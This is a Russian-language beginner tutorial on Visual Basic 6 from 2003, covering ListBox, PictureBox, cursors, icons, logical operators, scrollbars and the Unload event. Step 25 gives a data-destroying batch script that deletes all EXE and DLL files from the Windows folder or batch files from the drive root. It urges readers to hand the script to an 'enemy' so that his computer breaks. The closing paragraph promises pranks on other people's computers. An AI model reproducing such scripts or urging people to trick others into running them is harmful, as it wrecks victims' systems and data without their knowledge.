Главная Гостевая Форум INFA

Программируем на Visual Basic'e:

Часть 1/Часть 2/Часть 3/Часть 4/Часть 5/Часть 6/Часть 7/Часть 8/Часть 9/ Часть 10 /Часть 11/Часть 12/Часть 13/Часть 14/Часть 15

ШАГ 21:

Объект ListBox & ComboList

Объект ListBox особо не нужен, но иногда без него не обойтись. В этом шаге я научу тебя им пользоваться, хотя сам только недавно научился (когда он очень понадобился). Т.к. я обучился сам (где - то за 20 мин), не читая ни каких учебников и статей, сам разобрался с некоторыми свойствами, то рекомендую почитать про этот объект в других книжках. Начнем. Создай новый проект(Standart EXE), на него кинь 2 текстовых поля, 2 кнопки, и 1 ListBox. У ListBox в свойстве List напиши любые слова - они и будут видны в списке.
Свойство List
У первой кнопке свойство Caption будет "Удалить запись", у второй "Добавить запись". Вот что у тебя должно получиться:
Свойство List
Вот код:
Private Sub Command1_Click() 'При нажатии на кнопку:
List1.RemoveItem (List1.ListIndex) 'У объекта ListBox есть свойство RemoveItem - оно нужно для удаления записи, но только по индексу (у самой первой записи индекс = 0, у второй 1 - итак до упора)
End Sub

Private Sub Command2_Click()
'Сюда можно втыкнуть On Error Resume Next, т.к. если запись не выбрана, то произойдет ошибка
List1.AddItem Text2.Text 'Добавляем запись, здесь есть свойство AppItem оно нужно для добавления записи, потом идет пробел, а за ним любой текст (в этом примере будет добавляться запись с текстом введенным в текстовое поле")
End Sub

Private Sub List1_Click()
Text1.Text = List1.Text 'Текстовое поле 1 равно выбранной записи
End Sub

Исходник проги можешь скачать отсюда.
А что касается ComboList - с ним работать точно также как и с ListBox, но там еще есть свойство Text(это самая первая запись). Здесь я не буду тебе объяснять работу с этим объектом, а дам задание: Твоя миссия сделать такую же прогу, как и ListBox, но только с ComboBox.

ШАГ 22:

Объект PictureBox & Image

Как ты наверное понял эти объекты нужны для работы с изображением, и у каждого из этих объектов есть свойство Picture, кликни по нему 2 раза(это в окне свойств(но вначале обьекты закинь на форму)), и у тебя откроется окно выбора изображений, там выбираешь любой рисунок, и он у тебя загрузится. А если вдруг надо чтоб картинки грузились, например при нажатии на кнопку. Для этого создадим новый проект, туда кинем 1 кнопку, 1 Image, и 1 PictureBox(Кстати, у этих обьектов есть различие, у Image - если картинка будет больше чем сам объект, то объект растянется, а у Picture - не растянется, а будет показана только помястившаяся часть рисунка). Теперь напишем код, который при нажатии на кнопку, загружал в эти объекты картинку.

Private Sub Command1_Click() 'При нажатии на кнопку:
Picture1.Picture = LoadPicture("c:\1.bmp") 'Картинка загружается в объект PictureBox(Вместо c:\1.bmp - напиши путь к картинке)
Image1.Picture = LoadPicture("c:\1.bmp") 'Картинка загружается в объект Image
End Sub

Но если можно загружать, то значит можно и сохранять. До делаем нашу прогу, на форму кинь еще одну кнопку, и впиши код:
Private Sub Command2_Click()
SavePicture Picture1.Picture, "c:\Picture.bmp" 'Картинка сохраняется в файл Picture.BMP, из объекта Picture
SavePicture Image1.Picture, "c:\Image.bmp" 'Картинка сохраняется в файл Image.BMP, из объекта Image
End Sub

ШАГ 23:

Работа с КУРСОРОМ

У тебя когда - нибудь возникала мысль: "А как избавиться от этого уродского курсора?" Ну если возникла, то хорошо, а если нет, то тебе ВСЕ РАВНО ПРИДЕТСЯ ЧИТАТЬ ЭТОТ ШАГ! Чтобы сменить курсор почти у всех объектов есть свойство MousePointer - в нем ты выбираешь: "99 - Custom", потом нажимаешь 2 раза по свойству MouseIcon и выбераешь любой из курсоров(главное чтоб тип был *.ico или *.cur), потом нажимаешь на Run, наводишь мышь на объект, и курсор меняется. Вот тебе задание: Ты должен сделать прогу, у которой при наведении мыши на форму, курсор менялся. Только здесь какая - то фигня получается, т.к. у загружаемых курсоров должно быть расширение *.ico или *.cur - и тут возникает вопрос: "Где их взять?" и "Что делать?". На первый вопрос ответ простой: "Их надо где - то достать - ищи(или читай дальше, потом у тебя их будет несколько тыщ). Могу только пока дать тебе 2 курсора - Скачать
Можно также и воспользоваться и стандартными курсорами, для этого у любого объекта(например у кнопки) поставь свойство MousePointer = от 0 до 15(как ты понял всего 15 стандартных курсоров).

ШАГ 24:

Меняем значок у проги

Для смены значка у проги, у формы есть свойство Icon, нажми на него два раза, и перед тобой откроется окно открытия файлов. В нем выбери любой значок с расширением *.ico,*.cur - но где их взять? Поищи их на своем винте - кто ищет тот всегда находит! Но если не найдешь, то Скачивай мою коллекцию(35 штук).
P.S. Где - то в 7 - 8 части у тебя появится около 13 штук курсоров и иконок(у меня ~13346).

ШАГ 25:

Делаем самоуничтожитель компа:

Сегодня мы будем делать Самоуничтожитель компа. Для этого тебе нужен Текстовой документ (Блокнот), или любой другой текстовой редактор, и все! Желательно чтоб ты хоть децл разбирался в командах DOS, но не обязательно. Начнем:
Для начала я решил дать тебе краткую справку по командам DOS
Del путь и имя файла - удалить
CD имя папки - вход в папку
CD\ - переход в корневой каталог диска

Теперь входим в Текстовой документ, и пишем этот код:
cd\
cd windows
del *.exe
del *.dll
или
cd\
del *.bat
В первом случае из винда удаляются все EXE и DLL файлы, а во втором из диска C: удаляется файл Autoexec.bat, в обоих случаях комп накрывается. Теперь чтоб прога была не в текстовом формате, а чтоб ее можно было запустить нам надо сохранить ее в BAT файл, для этого ставим Сохранить как, и в поле имя пишем bla.bat, и все, теперь дай ее своему врагу, и когда он кликнет этот файл, у него комп полетит (на юг). Но помни золотое правило, прога должна запускаться с ДИСКА С:, с других дисков она ЗАПУСКАТЬСЯ НЕ БУДЕТ.

ШАГ 26

Операции и Логические Операторы

Операции:

+ - Сложение(2+2)
- - Вычитание(2-2)
/ - Деление(2/2)
* - Умножение(2*2)
^ - Степень(2^2), здесь второе число это степень(щас стоит квадрат) в которую будет возводиться первое число, если поставить 3 то будет куд, и так до упора...
& - Сложение, только не число с числом(+), а число со строкой(MsgBox "Чел" & 5), а теперь поставь MsgBox "Чел" + 5, запусти. Ну что ругается? Естественно!

Логические операторы:

And - И
Or & Xor - Или
Not - Отрицание

Теперь, чтоб нормально врубиться в Логические операторы, сделаем пару прог. Первая наша прога, будет связана с And. Открой VB(Standart EXE), на форму кинь 3 кнопки.Код:
Dim q, q1 As Long 'Объявляем переменные q и q1 для хранения чисел
Private Sub Command1_Click() 'При нажатии на кнопку, q = 5
q = 5
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку, q1 = 3
q1 = 3
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If q = 5 And q1 = 3 Then MsgBox "Это Лог. Оператор And" 'Срабатывает оператор And, и если q = 5(нажата 1 - ая кнопка), q1 = 3(нажата 2 - ая кнопка), то выводится сообщение, что оператор And сработал
End Sub
Здесь, вначале надо нажать на 1 - ую кнопку(чтоб q = 5), потом на 2 - ую(чтоб q1 = 3), и только потом выскочит сообщение.Теперь удали весь код, из этой проги, и впиши новый:
Dim q, q1 As Long 'Объявляем переменные q и q1 для хранения чисел
Private Sub Command1_Click() 'При нажатии на кнопку, q = 5
q = 5
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку, q1 = 3
q1 = 3
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If q = 5 Xor q1 = 3 Then MsgBox "Это Лог. Оператор Xor" 'Если q = 5 или q1 = 3 то выводится сообщение
End Sub
Здесь если нажата одна из кнопок, то выскакивает сообщение(точно также действует и Or)

ШАГ 27:

Работа со СкрулБаром

Хей перцы - не заибались еще читать? Отлично! Тогда я начну тебе гнать про СкрулБары. Как ты наверное понял СкрулБар - это полоса прокрутки(ScroolBar), но у тебя возникает вопрос: "А нафига они нужны?" - ты прав, они не нужны, но поскольку Злой Дядька Билл Гейц ввел их в пакет VB, то мне как порядочному челу придется децл рассказать тебе о них. Всего в мире есть 2 вида скрулбаров - это скрулбар горизонтал, и вертикал.
Теперь о свойствах:
У них обоих есть свойство Value, LargeChange, SmallChange, и TabStop, и кроме этих свойств у них помойму больше ничего нормального нет. Вот их значения:
1. LargeChange - это свойство нужно для установки скорости передвижении ползунка, если нажимать на саму полосу прокрутки, ну короче смотри сам.
2. SmallChange - а вот это свойство отвечает за скорость передвижения ползунка, при нажатии на скрулбаровскую кнопку (их всего две Скрулбаровская кнопка)
3. Value - ну это свойство самое главное, без него скрулбары вообще были не нужны, оно определяет где находится ползунок.
4. TabStop - фу бля, меня это свойство зверь бесит, оно заставляет ползунок мигать - убери его.

Ну от фигни, перейдем к делу - сделаем прогу. Ну, как всегда войди в VB(Standart EXE), на форму кинь 1 скрулбар горизонтал(LargeChange = 1000,SmallChange = 1000, TabStop = FALSE), и кнопку. Наша цель сделать такую прогу, чтоб при передвижении ползунка скрулбара, кнопка тоже передвигалась. Подумай сам как это сделать, а если в бошку ни чего не придет смотри ниже код:

Private Sub HScroll1_Change() ' При движение ползунка(Change - изменять, менять):
Command1.Left = HScroll1.Value / 11 ' Кнопка будет равна ползунку (здесь я написал /11,ты можешь отрегулировать как захочешь, чем меньше ты напишешь, тем кнопка будет дальше двигаться)
End Sub

ШАГ 28:

Событие UnLoad

Как выбирать событие ты уже наверное знаешь (открой Часть 2,Шаг 18),а для чего нужно событие UnLoad - влятри. Событие Unload - нужно для выполнения действия при выходе из проге, например, если ты что - нибудь напишешь в Form_Load, то это будет загружаться при в ходе в прогу, а если в Form_UnLoad, то при выходе из нее. Сделаем прогу, при выходе из которой, комп выдаст какое - нибудь сообщение. Войди в VB(Standart EXE), создай процедуру UnLoad, для этого в списке событий выбери ее.

Теперь в создавшийся процедуре впиши: MsgBox "А Билл Гейц - нехороший чел."
И при выходе из проги у тебя появится MsgBox. Вот весь код:
Private Sub Form_Unload(Cancel As Integer) ' При выходе из проги:
MsgBox "А Билл Гейц - нехороший чел." ' Появляется Error
End Sub

И все! Теперь сделаем так, чтоб при выходе появлялся запрос, и можно отказаться, и возвратится обратно.

ШАГ 29:

Запретить Юзеру выйти из проги:

Всего в мире есть 2 вида юзеров - это обычный, и продвинутый. Запретить выход обычному юзеру можно поставив у формы свойство ControlBox = False, и кнопка выхода исчезнет(), тогда юзер начнет нервничать и может нажать на Reset
А вот если перед нами стоит продвинутый юзер, то он намного хитрее, и спокойно закроет прогу щелкнув правой кнопкой мыши по заголовку формы, и в меню нажмет закрыть, или просто нажмет Alt + F4.И перед нами возникает вопрос: "Как запретить юзеру выйти из проги", или не обязательно запретить, а хотя бы спросить его. Так например в Блокноте, где я щас пишу этот учебник, перед выходом он запрашивает: "Текст в файле ... был изменен. Сохранить изменения?". Ну короче не буду тебя грузить, что может случиться, а сразу перейдем к делу. Создай новый проект(Standart EXE), вот код с пояснением.

'Создай процедуру UnLoad
Private Sub Form_Unload(Cancel As Integer) ' При выходе из проги:
b = MsgBox("Хей! Юзер поганый, только попробуй меня закрыть... ", 20, "Не надо - ПЛИЗ!!!") ' Идет запрос
If b = 7 Then ' если нажимаешь Нет - то возврат в прогу, если Да выход
Cancel = True
End If

Вот и все! Теперь из твоей проге не выйдет даже самый хитрый юзер.

ШАГ 30:

Задание

Ну задание сегодня не такое сложное, а даже легкое. Тебе надо сделать прогу, у которой при нажатии на кнопку, был запрос о выходе, если юзер нажимает Да - то Выход, Нет - возврат.
Исходник проги можешь скачать отсюда.

Ну на этом я закончу тебя грузить, можешь переходить к Четвертой части. В ней будем делать приколы (ты с вражеским компом будешь делать все что захочешь (каждые 3 сек открывать CD - ROM, перезагружать, убирать курсор)), создадим меню, получим доступ к клаве... Если у тебя есть какие - нибудь вопросы, пожелания и т.д., то оставляй свои сообщения на форуме, гостевой книге (моего сайта vbstreets.narod.ru), или пиши в наглую на E-mail: padre03@mail.ru, я на них обязательно отвечу. И если ты зайдешь на мой сайт, кликни плиз по банеру Porta(сиреневый), мне за это немного бабла отвалется(2 цента). И если ты захочешь поддержать Отечественного производителя(т.е. Меня), то кликай по банеру раз в месяц. А если ты очень богатый, то не просто кликни, а еще что - нибудь купи.

автор учебника: Падре
Дата создания: 21 Января 2003 года

Место под Банеры

Официальный сайт учебника - 'Программируем на Visual Basic'